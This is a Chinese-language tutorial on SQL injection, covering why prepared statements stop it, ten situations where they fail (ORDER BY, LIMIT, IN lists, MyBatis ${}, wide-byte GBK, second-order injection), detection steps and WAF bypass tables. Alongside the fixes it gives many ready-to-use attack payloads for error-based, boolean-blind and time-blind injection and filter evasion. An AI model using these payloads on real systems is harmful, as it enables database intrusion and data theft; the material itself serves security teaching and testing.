一、注入的本质是代码和数据的边界被打破
先看一段真实项目里很常见的登录代码:
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username='$username' and password='$password'";
$row = $pdo->query($sql)->fetch();
if ($row) {
// 登录成功
}
正常输入 username=admin&password=123456,数据库收到的是一条完整字符串:
select * from users where username='admin' and password='123456';
把 username 换成 admin' -- ,password 随便填,拼出来的是:
select * from users where username='admin' -- ' and password='随便填';
MySQL 里 -- 后面跟一个空白字符就是单行注释,后面的密码判断整段被吃掉,实际执行的语句变成:
select * from users where username='admin';
admin 这个用户只要存在,密码是什么都无所谓,直接登录成功。
这里真正的问题不是引号,而是:数据库拿到的永远是一整条字符串。它没有办法区分哪几个字符是程序员写死的、哪几个是从用户输入拼进来的。SQL 解析器按语法规则把这串字符切成 token、生成语法树、交给优化器生成执行计划——只要用户输入改变了 token 序列,就改变了这条 SQL 的语义。
一句话:代码和数据混在同一条字符串里传输,数据库只能按代码来解析。
这也是为什么预编译能根治注入——它把"结构"和"数据"拆成两次传输,数据库先拿到结构并编译,之后再也见不到数据参与解析。
二、预编译到底防住了什么
2.1 协议层面的差异
以 MySQL 为例,普通查询和预编译在协议层是两套完全不同的流程。
普通查询只发一个包:
COM_QUERY: select * from users where id=1
预编译分两步:
第一步 COM_STMT_PREPARE: select * from users where id=?
数据库解析这条模板,编译成执行计划,返回 statement id 和参数个数
第二步 COM_STMT_EXECUTE: statement id + 参数值(按类型单独编码)
数据库直接套用已经编译好的执行计划,不再做词法/语法分析
关键点在第二步:参数是作为"值"传过去的,不参与 SQL 解析。你传 1' union select 1,2,3-- ,数据库只会在 id = ? 这个位置上放一个字符串,不会重新解析这段内容。
2.2 各语言里的正确写法
PHP PDO:
$stmt = $pdo->prepare("select * from users where id = ?");
$stmt->execute([$_GET['id']]);
$row = $stmt->fetch();
Java:
PreparedStatement ps = conn.prepareStatement("select * from users where id = ?");
ps.setInt(1, Integer.parseInt(id));
ResultSet rs = ps.executeQuery();
MyBatis:
<select id="getUser" resultType="User">
select * from users where id = #{id}
</select>
#{} 会被替换成 ? 交给 JDBC 预编译;${} 是纯字符串替换,等于手写拼接。
2.3 一个常见的错误认知
"用了框架/ORM 就安全了"不成立。MyBatis 里只要出现一个 ${},PDO 里只要关掉了真实预编译,JPA 里只要用了原生查询拼字符串,预编译就被绕过去了。后面第三节列的十种场景,本质上都是在说同一件事:参数化只能保护"值"的位置,保护不了"结构"的位置。
三、预编译失效的十种场景
3.1 表名、列名、库名不能参数化
$table = $_GET['table'];
$sql = "select * from $table where id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);
这里的 ? 是安全的,但 $table 是拼进去的。原因在于预编译的工作方式:prepare 阶段数据库就必须知道查哪张表、有哪些列,才能生成执行计划。? 在语法上只能出现在"值"的位置,替代不了标识符(表名、列名、库名)。
判断一个位置能不能用 ?,有个简单标准:把问号替换成 'abc' 后 SQL 还合法吗。where id = 'abc' 合法,from 'abc' 不合法——所以后者只能拼接。
表名位置。假设表名和 id 都是拼接的:
$table = $_GET['table'];
$id = $_GET['id'];
$sql = "select * from $table where id = $id";
传 ?table=users where 1=1 union select 1,2,3--+,拼接后的完整 SQL 是:
select * from users where 1=1 union select 1,2,3--+ where id =
--+ 把后面残缺的 where id = 注释掉,整条语句等价于:
select * from users where 1=1 union select 1,2,3
1=1 让前半句返回全表,union select 1,2,3 把自定义内容并进结果。列数必须和 users 的字段数一致,对不上会报 The used SELECT statements have a different number of columns——这个报错本身也反过来确认了注入存在。
注意如果 $id 用的是占位符(也就是本节第一段那段代码),--+ 会把占位符一起注释掉,prepare 返回的参数个数变成 0,代码再执行 execute([$id]) 就会报参数数量不匹配。但这不影响结论:SQL 结构已经被改了,属于"应用报错,注入照样成立"的情况。
列名位置。比表名更常见,典型是导出功能让用户勾选字段:
$fields = $_GET['fields']; // 期望 "id,title,createtime"
$sql = "select $fields from news where id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);
预编译在这里完全正常,? 也绑好了,但 $fields 是拼接的。传 ?fields=1,(select database()),3:
select 1,(select database()),3 from news where id = ?
? 正常绑定,返回结果的第二列就是库名。
真实项目里表名可控的点不多,多见于后台多表查询、报表路由参数;列名可控的点很多,下一节的 order by 就是最典型的一类。
3.2 ORDER BY 后面的字段名和方向
$sort = $_GET['sort'];
$order = $_GET['order'];
$sql = "select id,title,createtime from news order by $sort $order limit 20";
这是实际项目里最常见的注入点之一。原因很现实:排序字段是动态的,而参数化救不了它——? 放到 order by 后面得到的是 order by 'id',MySQL 会把 'id' 当成一个常量字符串,排序直接失效,所以开发者只能拼接。很多 WAF 对 order by 后面的内容检测也很松,因为这里太容易误报。
order by 后面接的是表达式,不是值,所以报错、布尔、时间三种注入在这里都能用。
报错注入
?sort=extractvalue(1,concat(0x7e,(select database())))
?sort=updatexml(1,concat(0x7e,(select user())),1)
拿第一条展开。extractvalue(xml_doc, xpath_expr) 的第二个参数必须是合法 XPath,而 concat(0x7e,(select database()),0x7e) 的结果是 ~security~:
0x7e是~的十六进制写法。用十六进制而不是'~',是为了在引号被过滤时照样能用。~不是合法的 XPath 起始字符,函数直接抛错。- MySQL 把出错的字符串原样塞进错误信息。
拼接后的完整 SQL:
select id,title,createtime from news order by extractvalue(1,concat(0x7e,(select database()))) limit 20
页面回显:
XPATH syntax error: '~security~'
两个 ~ 中间就是 database() 的结果。选 ~ 的原因是它可打印、几乎不会出现在正常数据里,方便肉眼定位边界。
updatexml(xml_target, xpath_expr, new_xml) 是同一个套路,同样在第二个参数上做文章。updatexml 和 extractvalue 的报错回显最多 32 个字符左右,读长内容必须分段:
?sort=extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database())))
第三条 payload 走的是另一条路:
?sort=(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
原理是 floor(rand(0)*2) 在 group by 里会被求值两次,而两次结果可能不一致,导致向临时表插重复主键,报错:
Duplicate entry 'security1' for key '<group_key>'
security 后面那个 0 或 1 就是 floor(rand(0)*2) 的产物,去掉它就是库名。这个手法的价值在于函数名里没有 updatexml、extractvalue 这类显眼关键字,被 WAF 拦掉前两个时它是首选替代。
布尔盲注
?sort=if((select ascii(substr(database(),1,1)))=115,id,title)
if(条件, A, B) 条件为真返回 A,否则返回 B。这里真就按 id 排,假就按 title 排,页面上看到的记录顺序不一样。
拼接后:
select id,title,createtime from news order by if((select ascii(substr(database(),1,1)))=115,id,title) limit 20
判断方式是看返回列表第一条记录是谁、整体顺序有没有变,而不是比较返回长度——这是 order by 布尔盲注和 where 布尔盲注最大的区别。前提是 id 和 title 的排序结果确实不同;如果表里所有行的 title 都一样,这个方法就失效,得换成两个取值差异明显的字段。
时间盲注
?sort=if((select ascii(substr(database(),1,1)))=115,id,(select 1 from (select sleep(3))a))
外层套 (select 1 from (select sleep(3))a) 是为了让 sleep(3) 只执行一次。如果直接写 order by sleep(3),这个表达式会按行求值,20 行就睡 20 次,响应时间彻底失去判断价值。
所以在 order by 位置做时间盲注,必须先跑基准:分别测条件为真、条件为假时的响应时间,再定阈值,不要直接套 where 位置那套 sleep(5) 的经验值。
方向参数
$order 同样可控。传 desc,(select 1 from (select sleep(3))a):
select id,title,createtime from news order by id desc,(select 1 from (select sleep(3))a) limit 20
order by 后面可以跟一个排序列表,desc 只作用于紧挨着它的那一项,后面的表达式照样会被求值。
失败排查。order by 位置注入失败,最常见原因是代码做了字段名白名单,比如 in_array($sort, ['id','title','createtime'])。这种情况不用硬碰,直接换同一个接口的 order 方向参数试——很多代码只校验了字段名,忘了校验方向。
3.3 LIMIT 后面的数字
MySQL 协议层其实是支持 limit ?, ? 的,但很多驱动和 ORM 不允许占位符出现在 LIMIT 里,代码只能拼:
$start = $_GET['start'];
$size = $_GET['size'];
$sql = "select * from news order by id desc limit $start, $size";
LIMIT 只接受数字常量,这里用不了 union、and 这类条件表达式。能利用的方式取决于你控制的是第几个参数。
可控的是最后一个参数(limit 0, $size)时,可以用 PROCEDURE ANALYSE:
?size=1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)
拼接后语法是合法的,因为 PROCEDURE 本来就在 LIMIT 之后:
select * from news order by id desc limit 0, 1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)
可控的只有第一个参数(limit $start, 10)时这条路走不通——PROCEDURE 必须出现在整个 LIMIT 子句之后,塞在中间就是语法错误。这时要么试着直接改数字改分页,要么回头去找同一接口里别的参数(order by、where)下手,LIMIT 首位本身价值很低。
补一句版本限制:PROCEDURE ANALYSE 在 MySQL 5.7 已废弃、8.0 被移除,只对老版本有效。所以 limit 位置的注入排查优先级不高,但不能跳过——"分页参数直接拼进 limit"这个写法本身就说明这个接口的 SQL 拼装是随意的,同一处往往还藏着别的注入点。
3.4 IN 子句的列表
$ids = implode(',', $_GET['id']); // id 是数组
$sql = "select * from users where id in ($ids)";
为什么这里必须拼接:? 的数量要和数组元素个数一一对应,而元素个数是用户决定的。写死 in (?,?,?) 传两个元素就没法处理,所以绝大多数代码直接 implode。
传 ?id[]=1) union select 1,2,3--+(参数名带方括号,PHP 会解析成数组),implode 得到字符串 1) union select 1,2,3--+,拼接后:
select id,username,email from users where id in (1) union select 1,2,3--+)
) 的作用是闭合代码自带的左括号。in ( 是模板里的,必须先闭上才能接 union,末尾多出来的 ) 用 --+ 注释掉。union select 的字段数要和前半句一致(这里 3 个),对不上会报 The used SELECT statements have a different number of columns。
字符串列表的闭合不一样:
$ids = implode("','", $_GET['id']);
$sql = "select * from users where name in ('$ids')";
payload 变成 ?id[]=1') union select 1,2,3--+:
select * from users where name in ('1') union select 1,2,3--+')
字符串列表要同时闭合单引号和括号,顺序是 '),反了就是语法错误。
这个位置值得单独留意两点:参数名是 id[] 这种数组形式,很多 WAF 规则匹配不到;人工测试时也容易只试 ?id=1,忽略 ?id[]=1。同类还有 ids=1,2,3 这种逗号分隔的字符串参数,后端 explode 之后同样会拼进 in。
3.5 MyBatis 里的 ${}
<select id="search" resultType="News">
select * from news where title like '%${keyword}%' order by ${sort}
</select>
${} 是字符串替换,SQL 里直接展开,等于手写拼接。keyword 传 %' union select 1,2,3--+:
select * from news where title like '%%' union select 1,2,3--+%'
like '%%' 匹配所有行,--+ 把后面残留的 %' 一起注释掉,union select 1,2,3 的内容直接并进返回列表。列数要跟 news 表一致。
这里还有个容易被忽略的点:'%${keyword}%' 的写法让 % 是我们可控的通配符,即使没到 union 那一步,传一个 % 就能查出全表。所以这个点既是注入,也是信息泄露。
正确的 like 写法是用 concat 把通配符和参数分开:
where title like concat('%', #{keyword}, '%')
但这只解决注入,没解决 % 和 _ 作为通配符导致的越权查询——这两个字符需要在业务层转义,或者用 escape 子句。这是 like 和普通参数的差别。
3.6 ORM/QueryWrapper 的字符串接口
Java 项目现在是重灾区。MyBatis-Plus 的几个方法直接吃字符串,字段名不做校验:
// 1) 排序字段来自前端
queryWrapper.orderByDesc(sort);
// 2) last 把字符串原样追加到 SQL 末尾,常用于拼 limit
queryWrapper.last("limit " + start + "," + size);
// 3) apply 把字符串直接当条件
queryWrapper.apply("id = " + id);
逐个看拼接结果。
orderByDesc(sort) 生成的是 order by <sort> desc。传 sort=id,(select 1 from (select sleep(3))a):
select ... from news where ... order by id,(select 1 from (select sleep(3))a) desc
和 3.2 原理一样,时间盲注成立。
last() 接收的是整段尾巴。代码如果写成 last(orderBySql)、last(limitSql) 这种把前端字符串直接塞进去的形式,传:
limit 0,1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)
拼接后:
select ... from news where ... limit 0,1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)
报错里带出库名。
apply() 会把字符串包进 () 放进 where。传 id 为 1 or 1=1:
select ... from news where (id = 1 or 1=1)
apply 的常见误用是拼"动态条件",比如按前端传的字段名过滤,注入面比重排序更大。
需要说明版本差异:MyBatis-Plus 较新版本在部分 API 上加了 SQL 关键字黑名单(SqlInjectionUtils 一类的检查),具体哪些方法加了、从哪个版本开始加,各版本不一致,要以实际依赖为准。遇到被拦,先试注释、大小写、编码这些常规绕过,或者换一个没加检查的 API。
排查 Java 项目的时候,last(、apply(、orderByAsc(、orderByDesc( 这四个方法名直接全局搜索,比翻 XML 快得多。
3.7 存储过程和动态 SQL 拼接
存储过程和动态 SQL 的拼接发生在数据库内部,你没法通过改应用代码修掉,只能改存储过程本身。
Oracle:
execute immediate 'select * from users where name=''' || v_name || '''';
v_name 传 ' or 1=1--,拼出来:
select * from users where name='' or 1=1--'
条件恒真,返回全表。
SQL Server:
exec('select * from users where name=''' + @name + '''');
@name 传 ' or 1=1--,结果一样。另一种写法是先拼好再执行:
set @sql = 'select * from users where name=''' + @name + '''';
exec sp_executesql @sql; -- 拼接发生在 @sql 构造时,sp_executesql 保护不了
很多人以为用了 sp_executesql 就安全,其实它的安全性来自参数化调用,不是这个函数本身。下面这种才是安全的:
exec sp_executesql N'select * from users where name=@n', N'@n nvarchar(50)', @n=@name;
参数放在 @n 里,不参与 SQL 解析。
MySQL 存储过程:
set @sql = concat('select * from users where name=''', v_name, '''');
prepare stmt from @sql;
execute stmt;
这里的 prepare 同样保护不了——拼好的 @sql 已经是一条被污染的完整语句。正确写法是用 ? 占位符加 using:
prepare stmt from 'select * from users where name=?';
set @a = v_name;
execute stmt using @a;
Oracle 对应的是 execute immediate '... where name=:1' using v_name;。
一句话总结:参数化必须在"拼接发生的那一层"做。外层调用用了预编译,内层还在 concat,等于白做。
3.8 宽字节注入
这一类比较特殊:代码明明用了转义函数,预编译也可能用着,但还是能注入。
前提交代清楚:数据库和连接字符集是 GBK(或者 GB2312、GB18030),代码用了 addslashes、mysql_real_escape_string、magic_quotes_gpc,或者 PDO 开启了模拟预处理。
原理是 GBK 编码里,一个双字节字符的第一个字节范围是 0x81-0xFE,第二个字节范围是 0x40-0xFE。转义函数做的事是把 '(0x27)变成 \'(0x5C 0x27)。如果我们在引号前面塞一个字节 0xDF:
输入: %df'
转义后: %df%5c%27
GBK 解码: 0xdf 0x5c 是一个合法的 GBK 汉字,%5c 被吃掉
剩下: %27 -> 单引号逃逸
payload 和普通注入完全一样,只是必须在引号前带上那个"吃转义符"的字节:
?id=%df' union select 1,2,3--+
?id=%df' and 1=1--+
?id=%df%27%20union%20select%201,2,3--+
怎么确认目标存在宽字节注入,按下面三步走:
第一步:?id=1' -> 报错(转义生效,说明有转义函数,但还不能说明是 GBK)
第二步:?id=1%df' -> 不报错(%df 和 %5c 组成汉字,单引号逃逸后刚好闭合)
第三步:?id=1%df' and 1=1--+ -> 返回正常
?id=1%df' and 1=2--+ -> 返回空或异常
第三步的一真一假成立,才能确认宽字节注入可用。只做前两步容易误判:%df' 不报错也可能只是页面把错误吞了。真正稳的判断是 and 1=1 / and 1=2 的差异,和普通注入的判断逻辑一致。
除了 %df,0x81 到 0xFE 里凡是能和 0x5C 组成合法 GBK 字符的都能用,%bf、%81 是常见备选。注意不是所有首字节都行,比如 %a1 配 0x5C 就不构成合法 GBK 字符,试的时候要成对验证('\xdf\x5c'、'\xbf\x5c'、'\x81\x5c' 在 GBK 下分别解码为"運""縗""乗")。这是 sqli-labs Less-32 到 Less-37 的主题。
宽字节还有一个变种:把转义符本身换掉。如果代码用的是 mysql_real_escape_string 并且明确指定了 utf8 字符集,而列又是 gbk,转义按 utf8 计算、解析按 gbk 计算,两边字节数不一致,同样能挤出单引号。所以加固要同时做两件事:把连接字符集设成 utf8mb4 或 binary,并且关掉模拟预编译。
3.9 二次注入
二次注入的特点是:注入 payload 第一次进入数据库时是被转义、安全的,出库之后再次拼接才出问题。
以 sqli-labs Less-24 的改密码功能为例。注册一个用户名 admin'#:
$username = addslashes($_POST['username']); // admin\'#
$sql = "insert into users(username,password) values('$username','$pass')";
addslashes 把 ' 变成 \',SQL 解析时 MySQL 又把 \' 还原成一个字面的 '。所以数据库里真正存下来的值是 admin'#,反斜杠没了。 这就是二次注入的起点。
然后是改密码功能,代码先从 session 里取用户名,再拼 SQL:
$username = $_SESSION['username']; // admin'#
$sql = "update users set password='$newpass' where username='$username'";
拼出来:
update users set password='新密码' where username='admin'#'
# 把后面的 ' 注释掉了,条件变成 where username='admin',结果是改了 admin 的密码,而攻击者自己的账号根本没被动。
怎么确认目标存在二次注入,关键是验证"入库的值到底长什么样"。两个办法:
- 找一个能看到自己用户名的页面(个人中心、发帖后的作者名),如果显示的是
admin'#而不是admin\'#,说明反斜杠已经被 SQL 解析吃掉了。 - 如果站点有别的注入点,直接
select username from users where id=<自己的id>读出来看。
确认存的是 admin'# 之后,再去找哪里会把这个值当条件用——改密码、改邮箱、查订单,只要是从数据库读出来又拼进 SQL 的地方都算。这类点单独测的时候全部是安全的,因为入口处确实转义了,只有把整条数据流串起来才看得见。
识别二次注入不能只看单个接口。要看数据的完整生命周期:入口做了转义 → 入库 → 出库被信任 → 再次拼接。典型场景就是用户名、昵称、备注、文章标题、邮箱这类"存进去以后还会被当作条件查出来"的字段。
3.10 预编译实现本身的坑
前面九种是"用不了预编译",这一种是"以为用了预编译"。
PDO 模拟预处理。PHP PDO 的 ATTR_EMULATE_PREPARES 在很多环境下默认是 true,这时 PDO 并不真的调 COM_STMT_PREPARE,而是在客户端自己拼接加转义,然后发一条普通 COM_QUERY。这种情况下前面 3.8 讲的宽字节注入依然有效——你以为在用预编译,实际用的是转义函数。
判断当前连接是不是模拟模式:
var_dump($pdo->getAttribute(PDO::ATTR_EMULATE_PREPARES)); // true 就是模拟
关掉:
$pdo = new PDO($dsn, $user, $pass, [
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
关掉之后有两个副作用要提前知道:同一个命名占位符(:name)不能再重复出现,同一位置出现两次必须拆成两个参数;另外 LIMIT ? 在很老的 MySQL 版本和部分驱动上行为不一致,上线前要实测。这两点正是 EMULATE_PREPARES 默认开着的原因——用兼容性和一点性能换了安全性。
占位符放错位置不会报错,只会静默失效。这是很多注入漏洞的源头。比如有人想"参数化排序字段":
$stmt = $pdo->prepare("select * from news order by ?");
$stmt->execute([$_GET['sort']]);
这条语句不报错、也不注入,但排序完全失效——数据库把 ? 当成一个常量字符串,等价于 order by 'id',永远按同一顺序返回。开发者发现排序不好使,通常的"修复"是把 ? 换回 $sort 拼接,预编译就此消失。把参数化当万能药,比不用参数化更危险,因为后者至少会让人保持警惕。
字符集设置方式不对。mysql_real_escape_string 判断字符集用的是 mysql_set_charset() 设的值,而不是 SET NAMES:
mysql_query("SET NAMES gbk"); // 连接层是 gbk
$name = mysql_real_escape_string($_GET['name']); // 转义却还按 latin1 算字节
连接层按 gbk 解析、转义层按 latin1 计算长度,两边对不上,宽字节注入就回来了。正确做法是 mysql_set_charset('utf8mb4'),或者干脆换掉这套函数。
框架的 raw 逃生门。各种 ORM 都提供 raw、literal、unescaped、Statement 之类的接口,只要有人用过一次,预编译就跟没有一样。这类调用点往往还配一句注释"这里前端传的值已经校验过了",实际并没有。审计时把这几个关键字全搜出来逐个看。
四、怎么判断一个功能点有没有注入
4.1 先把输入点列全
很多人测注入只测 URL 参数,漏掉的比测到的多。按下面这张表过一遍:
| 位置 | 说明 |
|---|---|
| URL query | 最常规,?id=1 |
| POST body | form 表单、JSON 字段、XML 节点、multipart |
| Cookie | 尤其是有"记住我"、主题、语言、分页大小这类配置项 |
| Referer | 常被写进访问日志表,或用于来源校验 |
| User-Agent | 同上,很多站点会入库 |
| X-Forwarded-For / X-Real-IP | 取真实 IP 的地方几乎都会入库 |
| 路径参数 | /index.php/1/2、伪静态 .html 后缀前的那段 |
| 排序/分页参数 | sort、order、page、size、limit、offset |
| 数组参数 | id[]=1、ids=1,2,3 |
| 文件上传的文件名 | 入库时会拼 SQL |
| 导出/报表参数 | 拼接更随意,且常无回显 |
JSON 的坑在于字段类型。Burp 里看到 {"id": 1} 是数字,很多人就直接放弃了。实际上后端可能用字符串拼接,把 1 换成 1 and 1=1 一样能打:
POST /api/user/detail HTTP/1.1
Content-Type: application/json
{"id": "1 and 1=1"}
4.2 探测顺序
不要上来就 sqlmap -u,先手工确认三件事:有没有注入、是什么类型、有没有 WAF。数字型和字符型分开测,两种的探测思路不一样。
数字型参数(?id=1),假设后端是 where id = $id:
id=1 # 基准,记下页面内容和长度
id=2-1 # 若结果与 id=1 完全一致,说明参数参与了算术运算
id=1+0 # 同上,再确认一次
id=1 and 1=1 # 正常
id=1 and 1=2 # 结果为空或报错,布尔条件生效
id=1' # 数字型下这个引号会直接造成语法错误
id=1"
id=1 and sleep(5) # 响应时间明显变长
关键在于 2-1 和 1+0:后端如果是字符串拼接,这两个会真的参与运算并返回 id=1 的记录;如果结果是空或者报错,说明参数被当成字符串处理或做了强类型转换,那就往字符型方向测。id=1' 在数字型下必然报错,报错本身就是"参数进了 SQL"最直接的证据,比任何真假对比都硬。
字符型参数(?name=abc),假设后端是 where name = '$name':
name=abc' # 多一个引号破坏语法 -> 报错
name=abc' and '1'='1 # 闭合后条件为真 -> 正常
name=abc' and '1'='2 # 闭合后条件为假 -> 空
name=abc'--+ # 注释掉残留的引号,不再报错
name=abc'%23 # 同上,%23 是 URL 编码的 #
name=abc') and ('1'='1 # 括号闭合
name=abc" and "1"="1 # 双引号闭合
abc' 报错、abc'--+ 不报错,这一对是判断单引号闭合最干净的证据:加引号破坏了语法,加注释符又把语法补了回来,说明模板确实是 '$name'。反过来,如果 abc' 根本不报错,可能是双引号模板、括号模板,也可能只是错误回显被关了,需要继续把 ")、')) 试一遍。
基准比较是做布尔盲注的前提。判定时不能只看页面"是否正常",要抓 id=1、id=1 and 1=1、id=1 and 1=2 三个响应,对比返回长度、状态码和关键字。有些站点 1=2 只是返回空列表而不报错,长度差几十字节,肉眼看不出,必须靠工具做字节级对比。
判断依据按可靠程度排序:
| 现象 | 说明 |
|---|---|
| 数据库报错回显 | 最直接,还能带出库名版本 |
1=1 与 1=2 返回长度不同 | 布尔盲注确认 |
| 响应时间出现 5 秒落差 | 时间盲注确认,多测两次排除网络抖动 |
| HTTP 状态码变化 | 500/404 切换也可能是注入 |
| 返回内容关键字变化 | 比如"用户不存在"变成空 |
只测 and 1=1 不测 and 1=2 是漏报的头号原因。 and 1=1 永远返回正常结果,它本身不能证明任何事,必须成对使用。
4.3 被过滤时的探测 payload
WAF 或代码过滤了关键字时,探测用的 payload 要准备好替代品,否则会把"有注入但被拦"误判成"没注入"。
| 被过滤 | 替代写法 |
|---|---|
| 空格 | /**/、%09、%0a、%0b、%0c、%0d、+、括号包裹 |
and / or | &&、||、%26%26、xor、! |
= | like、regexp、between 1 and 1、in、< > |
| 逗号 | substr(x from 1 for 1)、limit 1 offset 0、join |
| 引号 | 0x十六进制、char()、unhex() |
union select | 双写、大小写、/*!50000union*/ |
select | /*!50000select*/、sel/**/ect |
sleep | benchmark(5000000,md5(1))、笛卡尔积 |
information_schema | sys.schema_table_statistics、innodb_table_stats、无列名注入 |
举几个组合例子:
-- 空格和 and 都被过滤
?id=1%0a%26%26%0a1=1
?id=1/**/&&/**/1=1
-- = 被过滤
?id=1' and '1' like '1
?id=1' and 1 between 1 and 1
-- 逗号被过滤
?id=1' and ascii(substr(database() from 1 for 1))>100--+
?id=1' and ascii(substr(database(),1,1))>100--+
-- and、空格、逗号、= 全被过滤
?id=1'%09%26%26%09ascii(substr(database()%09from%091%09for%091))%3E100--+
逐组说明这几条在干什么:
%0a%26%26%0a1=1:%0a是换行,%26%26是&&。MySQL 把换行当空白符,&&等价于and,所以这条和1 and 1=1完全等价,绕过了针对空格和and的规则。'1' like '1:like在这里当等号用,'1' like '1'为真。注意末尾少一个引号是故意的——它借用模板自带的引号闭合。1 between 1 and 1:等价于1=1。这里的and是between的语法组成部分,WAF 一般不敢拦,拦了会误伤大量正常 SQL。substr(database() from 1 for 1):MySQL 支持substr(str FROM pos FOR len)这种标准 SQL 写法,完全不出现逗号,逗号被过滤时用它替代substr(str,1,1)。- 最后一条把四种绕过叠在一起:换行代替空格、
&&代替and、from...for代替逗号、%3E代替>。单条绕过被拦时,把多个手法叠加往往能过。
between 1 and 1 这种写法里 and 是语法关键字,一般不会被拦,因为拦了会误伤正常业务。
4.4 漏报的几个高发场景
- 搜索型参数。搜索框传
%会被当成通配符,%' and '1'='1才是正确姿势,因为要利用它自带的引号闭合。 - 参数只在特定分支进 SQL。比如
status只有传2时才拼进 SQL,传1走的是缓存。测试要遍历参数值的取值空间。 - 分页、排序、数组参数。前面说过,WAF 规则和人工测试都容易跳过。
- 时间盲注用了
sleep但被过滤。换成benchmark或重查询再试一次,不要直接判定无注入。 - 响应里没有回显。这时候要往布尔和时间两条路走,而不是放弃。
- 二次注入。单点测试全部安全,但数据流串起来就有问题,只能靠审计和人工推理。
五、闭合类型和注释符
5.1 常见闭合类型
| 类型 | 需要的闭合 | 典型代码 |
|---|---|---|
| 数字型 | 不需要引号 | where id = $id |
| 单引号字符型 | ' | where name = '$name' |
| 双引号字符型 | " | where name = \"$name\" |
| 括号 + 单引号 | ') | where id = ('$id') |
| 括号 + 双引号 | ") | where id = (\"$id\") |
| 双层括号 | '))、")) | where id = (('$id')) |
| 反引号 | ` | where \$col` = 1` |
| 方括号(MSSQL) | ] | where [$col] = 1 |
| 宽字节 | %df' | GBK + addslashes |
5.2 靠报错判断闭合
报错信息里的 SQL 片段是最快的判断依据。假设代码是 where id = '$id',传 id=1':
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''1'' at line 1
near ''1'' 里有两个引号夹着 1:一个来自代码模板,一个来自我们的输入,说明模板是 '$id',用 ' 闭合是对的。
如果 id=1' 不报错,先怀疑错误回显被关了——不少站点会把 SQL 异常统一转成 500 或者一个固定错误页,这时候报错信息里什么都没有。改用布尔对比判断闭合:
?id=1' and '1'='1 -> 正常
?id=1' and '1'='2 -> 异常
一真一假说明 ' 就是正确的闭合方式,与报错是否可见无关。
再补一句报错的读法:报错里的 near '...' 片段会把你输入的原始形态也带出来。如果传 1' 报错里出现 near ''1'',说明模板是 '$id';如果出现 near '1\'',说明转义生效了但语法仍然错(例如模板是 ('$id'),少了个右括号);如果 # 或 -- 之后的内容不再出现在报错里,说明注释符生效。同一串字符在报错里的形态,就是它进 SQL 时的形态,这是判断闭合和过滤最省事的手段。
SQL Server 的报错长这样,同样是单引号不闭合:
Unclosed quotation mark after the character string ''.
Oracle:
ORA-01756: quoted string not properly terminated
报错信息本身还直接暴露了数据库类型和版本,这在后面的利用里很有用。
5.3 注释符对照
| 数据库 | 单行注释 | 多行注释 | 备注 |
|---|---|---|---|
| MySQL | -- (后跟空白)、# | /**/ | -- 后必须有空白;URL 里 # 要写 %23 |
| SQL Server | -- | /**/ | -- 后不强制要求空白 |
| Oracle | -- | /**/ | |
| PostgreSQL | -- | /**/ | |
| SQLite | -- | /**/ |
URL 编码上的三个坑:
#在 URL 里是 fragment 分隔符,浏览器和部分中间件直接不发送#后面的内容,必须写%23。--后面需要一个空白字符,URL 里写成--+或者--%20。写在请求末尾时--容易被截掉,--+更稳。+在 URL 里会被解码成空格,正好满足--的要求;但在 POST body 的application/x-www-form-urlencoded里也是同样行为,而在 JSON body 里+就是字面的加号,不能当空格用。
5.4 闭合 + 注释的组合套路
实战里闭合和注释是绑在一起用的,判断字段数时最明显:
?id=1 order by 3--+ 数字型
?id=1' order by 3--+ 单引号
?id=1') order by 3--+ 括号 + 单引号
?id=1")) order by 3--+ 双层括号 + 双引号
?id=1" order by 3--+ 双引号
?id=1 order by 3%23 用 # 代替 --
每换一种闭合都要重新试,order by 的列数判断失败,很多时候不是列数不对,而是闭合不对。判断标准是:报错说明闭合不对或列数超了,页面正常说明列数还在范围内。
--+ 不生效的时候,先确认是不是 URL 里的 + 被 WAF 或网关吃掉了,可以换成 --%20 或者 %23 再试一次。数据库类型不确定时,/**/ 是通用性最好的注释符,五个数据库都支持。
下一篇讲具体怎么把数据取出来:联合查询、报错注入的各个函数、布尔和时间盲注的实现,以及盲注脚本的写法。